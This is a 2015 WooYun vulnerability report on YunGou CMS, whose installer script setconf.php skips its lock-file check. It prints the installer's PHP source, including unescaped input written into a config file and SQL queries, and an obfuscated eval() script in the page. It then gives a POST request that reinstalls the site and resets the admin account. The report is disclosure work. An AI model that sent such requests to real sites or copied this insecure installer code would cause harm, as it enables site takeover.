当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-095794

漏洞标题：云购Cms#重装漏洞

相关厂商：yungoucms.com

漏洞作者： 浅蓝

提交时间：2015-02-11 15:00

修复时间：2015-05-12 15:12

公开时间：2015-05-12 15:12

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-11： 细节已通知厂商并且等待厂商处理中
2015-02-11： 厂商已经确认，细节仅向厂商公开
2015-02-14： 细节向第三方安全合作伙伴开放
2015-04-07： 细节向核心白帽子及相关领域专家公开
2015-04-17： 细节向普通白帽子公开
2015-04-27： 细节向实习白帽子公开
2015-05-12： 细节向公众公开

简要描述：

如题

详细说明：

在install目录下 有个setconf.php
先来看看内容

<?php
header('Content-type: text/html; charset=utf-8');
set_time_limit(0);
ob_end_flush();
ob_implicit_flush(true);
if(isset($_POST['edit'])){
	$db_host = isset($_POST['db_host']) ? trim($_POST['db_host']) : '';
	$db_user = isset($_POST['db_user']) ? trim($_POST['db_user']) : '';
	$db_pwd = isset($_POST['db_pwd']) ? trim($_POST['db_pwd']) : '';
	$db_name = isset($_POST['db_name']) ? trim($_POST['db_name']) : '';
	$db_prefix = isset($_POST['db_prefix']) ? trim($_POST['db_prefix']) : '';
	$user_name = isset($_POST['user_name']) ? trim($_POST['user_name']) : '';
	$sqm_num= isset($_POST['sqm_num']) ? trim($_POST['sqm_num']) : '';
	$password = isset($_POST['password']) ? trim($_POST['password']) : '';
	$repassword = isset($_POST['repassword']) ? trim($_POST['repassword']) : '';
	$conn = mysql_connect($_POST['db_host'],$_POST['db_user'],$_POST['db_pwd']);
	$conn_db = mysql_select_db($_POST['db_name'],$conn);
	if(!$conn){
		echo "数据库主机或数据库用户名或数据库密码错误!";exit;
	}elseif(!$conn_db){
		echo '数据库名称!';exit;
	}elseif($db_name == ''){
		echo '数据库不能为空!';exit;
	}elseif($db_prefix == ''){
		echo '数据库前缀不能为空!';exit;
	}elseif(!preg_match("/^[\w_]+_$/",$db_prefix)){
		echo '数据库前缀格式错误!';exit;
	}elseif($user_name == '' || $password == ''){
		echo '登录名和密码不能为空!';exit;
	}elseif(strlen($password) < 6){
		echo '登录密码不得小于6位';exit;
	}elseif($password!=$repassword){
		echo '两次输入的密码不一致';exit;
	}
	$config_file='../system/config/database.inc.php';	
	$con ="<?php\r\n\r\n";
	$con .= "return array(\r\n";
		$con .= "\t'default' => array (\r\n\t";
			$con .= "\t'hostname' => '".$db_host."',";
			$con .= "\r\n\t\t'database' => '".$db_name."',";                
			$con .= "\r\n\t\t'username' => '".$db_user."',";
			$con .= "\r\n\t\t'password' => '".$db_pwd."',";
			$con .= "\r\n\t\t'tablepre' => '".$db_prefix."',";
			$con .= "\r\n\t\t'charset' => 'utf8',";
			$con .= "\r\n\t\t'type' => 'mysql',";
			$con .= "\r\n\t\t'debug' => true,";
			$con .= "\r\n\t\t'pconnect' => 0,";
			$con .= "\r\n\t\t'autoconnect' => 0";
		$con .= "\r\n\t),";
	$con .= "\r\n);\r\n?>";
	file_put_contents($config_file,$con);	
	
	if(!empty($sqm_num)){		
		$sqm_file='../system/config/code.inc.php';
		$sqm="<?php return array('code'=>'$sqm_num'); ?>";
		file_put_contents($sqm_file,$sqm);		
	}
	
	$conn = @mysql_connect($_POST['db_host'],$_POST['db_user'],$_POST['db_pwd']);
			 mysql_select_db($_POST['db_name'],$conn);
	mysql_query("set names utf8");
	
	$sql = file_get_contents("install.sql");
	$sql = str_replace('DROP TABLE IF EXISTS `',"DROP TABLE IF EXISTS `".$_POST['db_prefix'],$sql);
	$sql = str_replace('CREATE TABLE `',"CREATE TABLE `".$_POST['db_prefix'],$sql);
	$sql = str_replace('INSERT INTO `',"INSERT INTO `".$_POST['db_prefix'],$sql);
	$sql = str_replace('IF EXISTS `',"IF EXISTS `".$_POST['db_prefix'],$sql);
	$array_sql = preg_split("/;[\r\n]/",$sql);
	$query_sql_g=true;
	echo "<h3 style='text-align:center; line-height:50px; font-weight:bold'><font color='#0c0'>正在安装中...请不要结束本页面！</font></h3><br/>";
	echo "<div style='text-align:center;width:100%'>";
	
	if(strlen(end($array_sql)) == 2){
					array_pop($array_sql);
    }
	$ik = 0;
	foreach($array_sql as $sql){
		$sql = trim($sql);		
		if (!empty($sql) && strlen($sql) != 2){
			$query_sql = mysql_query($sql,$conn);
			if(!$query_sql){
				if($ik%9==0){
					echo "<br/>";
				}
				echo $sql."<font color='red'>SQL 执行失败！</font>";$ik++;
			}else{
				if($ik%9==0){
					echo "<br/>";
				}
				echo "【SQL执行成功!】";$ik++;
			}
		}		
	}
	
	$password=md5(trim($password));
	$sql = "INSERT INTO `".$db_prefix."admin` (uid,mid,username,userpass) VALUES ('1','0','$user_name','$password')";
	$q = mysql_query($sql,$conn);
	if(!$q){
			
		echo $sql."<font color='red'>【添加管理员失败】</font>";$ik++;
	}else{
		echo "【添加管理员成功】";$ik++;
	}
	echo "</div>";
	
	if(!$query_sql_g){
		echo "<br/><h3 style='text-align:center; line-height:50px; font-weight:bold'><font color='red'>数据库安装失败,请清空数据库后重新安装！</font></h3><br/>";
	}else{
		echo "<br/><h3 style='text-align:center; line-height:50px; font-weight:bold'><a style='color:#f60' href='finish.php'>安装完成，点击进入！</a></h3><br/>";
	}
	exit;
}
if(file_exists("ok.lock")){
	echo "程序已经安装过";
	echo "<br>";
	echo "重新安装请删除,install 文件夹下的 <font color='red'>ok.lock</font> 文件";
	exit;
}
/*
if(!isset($_POST['startinstall'])){
	echo "<script>javascript:history.back()</script>";
}
*/
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>云购系统安装</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='stylesheet' type='text/css' href='images/install.css'>
</head>
<body>
<div id='installbox'>
<div class='msgtitle'>云购系统 安装向导</div>
<table width="780" height="30" border="0" cellpadding="0" cellspacing="0" class="intable3">
  <tr>
    <td style="color:#f5f5f5; text-align:center">
        <span style="display:block;float:left;width:23%;font-size:12px;">1. 许可协议</span>
        <span style="display:block;float:left;width:25%;font-size:12px;">2. 环境检测</span>
        <span style="display:block;float:left;width:25%;font-size:12px;">3. 数据库设置</span>
        <span style="display:block;float:left;width:25%;font-size:12px;color:#FFF;">4. 安装完成</span>
    </td>
  </tr>
</table>
<h3>安装设置：</h3>
<form  method="post" action="" name="conf" id="gxform" style="margin:0; padding:0;">
	<table width="98%" border="0" align="center" cellpadding="5" cellspacing="1" class="tableoutline" style="font-size:12px; color:#666;">
		<tr class="firstalt">
			<td width="48%" valign="top"><b>数据库主机</b><br><font>一般为localhost</font></td>
			<td><input type="text" name="db_host" id="db_host" value="localhost" maxlength="50" style="width:250px;" > *</td>
		</tr>		                 
		<tr class="firstalt">
			<td width="48%"><b>数据库用户名</b><br><font color="#666666">一般为root</font><br></td>
			<td><input type="text" name="db_user" id="db_user" value="" maxlength="50" style="width:250px;"> *</td>
		</tr>
		<tr bgcolor="#fdefe5" class="firstalt">
			<td width="48%"><b>数据库密码</b><br><br></td>
			<td><input type="password" name="db_pwd" value="" id="db_pwd" maxlength="50" style="width:250px;" ></td>
		</tr>
		<tr class="firstalt">
			<td width="48%"><b>数据库名称</b><br><font color="red"><b>请填写已存在的数据库名</b></font><br></td>
			<td><input type="text" name="db_name" id="db_name" value="" maxlength="50" style="width:250px;"> *</td>
		</tr>  
		<tr bgcolor="#fdefe5" class="firstalt">
			<td width="48%"><p><b>数据库表前缀</b><br><font color="#666666">建议您修改表前缀</font><br></p></td>
			<td><input type="text" name="db_prefix" id="db_prefix" value="go_"  maxlength="50"  valid="required"  style="width:250px;" > *</td>
		</tr>
		<tr class="firstalt" style="display:none;">
			<td width="48%"><p><b>授权码</b><br><font color="#666666"><a target="_blank" href="http://www.yungoucms.com/news-4-1.html">购买授权码 </a></font><br></p></td>
			<td><input type="text" name="sqm_num" id="sqm_num" value="975E312DA2618F549446B6523A6F9730E059AA112448"  maxlength="50"  valid="required"  style="width:250px;" > *</td>			
		</tr>		
	</table>
	<h3>后台设置：</h3>
	<table width="98%" border="0" align="center" cellpadding="5" cellspacing="1" class="tableoutline" style="font-size:12px; color:#666;">
		<tr bgcolor="#fdefe5" class="firstalt">
			<td width="48%"><p><b>管理员帐号</b><br><font color="#666666">一般不用修改</font><br></p></td>
			<td><input type="text" name="user_name" id="user_name" value="admin"  maxlength="50"  valid="required"  style="width:250px;" > *</td>
		</tr>
		<tr class="firstalt">
			<td width="48%"><p><b>密码</b><br><font color="#666666">密码大于6位</font><br></p></td>
			<td><input type="password" name="password" id="password" value=""  maxlength="50"  valid="required"  style="width:250px;" > *</td>
		</tr>
		<tr bgcolor="#fdefe5" class="firstalt">
			<td width="48%"><p><b>确认密码</b></p></td>
			<td><input type="password" name="repassword" id="repassword" value=""  maxlength="50"  valid="required"  style="width:250px;" > *</td>
		</tr>
	</table>
	<table width="100%" cellpadding="0" cellspacing="0" border="0">
		<tr class="firstalt" style="height:10px">
			<td height="70" colspan="2" align="center">
				<input style="width:120px; height:30px;" type="button" class="btn"  value="上一步" onClick="history.back();"/> 
				<input style="width:120px; height:30px;" type="submit" name="edit" value="下一步" class="btn" id="submit"> 
				<span id="loading" style="font-size:13px;color:#FF0000;display:none"><font color="#0066CC">请稍等...正在与MYSQL数据库进行连接。</font></span>
			</td>
		</tr>
		<tr class="firstalt" style="height:10px">
			<td colspan="2" align="center"><div id='msgbottom'><script language=javascript>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('u["\\9\\2\\c\\t\\v\\1\\3\\0"]["\\e\\5\\h\\0\\1\\4\\3"]("\\x\\w\\q\\p\\l\\m\\s\\r\\y\\F\\n\\7 \\d\\5\\1\\f\\8\\"\\d\\0\\0\\j\\b\\/\\/\\6\\6\\i\\k\\a\\2\\j\\1\\k\\c\\3\\/\\" \\i\\0\\G\\4\\1\\8\\"\\c\\2\\4\\2\\5\\b\\5\\1\\9\\o\\f\\2\\3\\0\\z\\e\\1\\h\\a\\d\\0\\b \\6\\2\\4\\9\\o\\"  \\0\\7\\5\\a\\1\\0\\8\\"\\D\\6\\4\\7\\3\\A\\"\\g\\B\\C\\l\\m\\H\\E\\n\\/\\7\\g");',44,44,'x74|x65|x6f|x6e|x6c|x72|x62|x61|x3d|x64|x67|x3a|x63|x68|x77|x66|x3e|x69|x73|x70|x2e|u6e90|u7801|x3c|x3b|u54c1|u7cbe|u70b9|u8bf7|x75|window|x6d|u591a|u66f4|u51fb|x2d|x6b|u72d7|u6251|x5f|u533a|uff1a|x79|u793e'.split('|'),0,{}))
</script></div></td>
		</tr>
	</table>
</form>
</div>
</body>
</html>


虽然index check.php 等文件都验证 唯独重要的setconf.php没有

POST
http://localhost/yungou/install/setconf.php
edit=&db_host=localhost&db_user=root&db_pwd=&db_name=yungou&db_prefix=go_&user_name=admin&password=123456&repassword=123456


1(M}D_MS3){5BJY14IE4@FI.png


直接重装了

漏洞证明：

如上

修复方案：

对ok.lock做下验证

版权声明：转载请注明来源 浅蓝@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-02-11 15:11

厂商回复：

以前的版本是有这个问题

最新状态：

暂无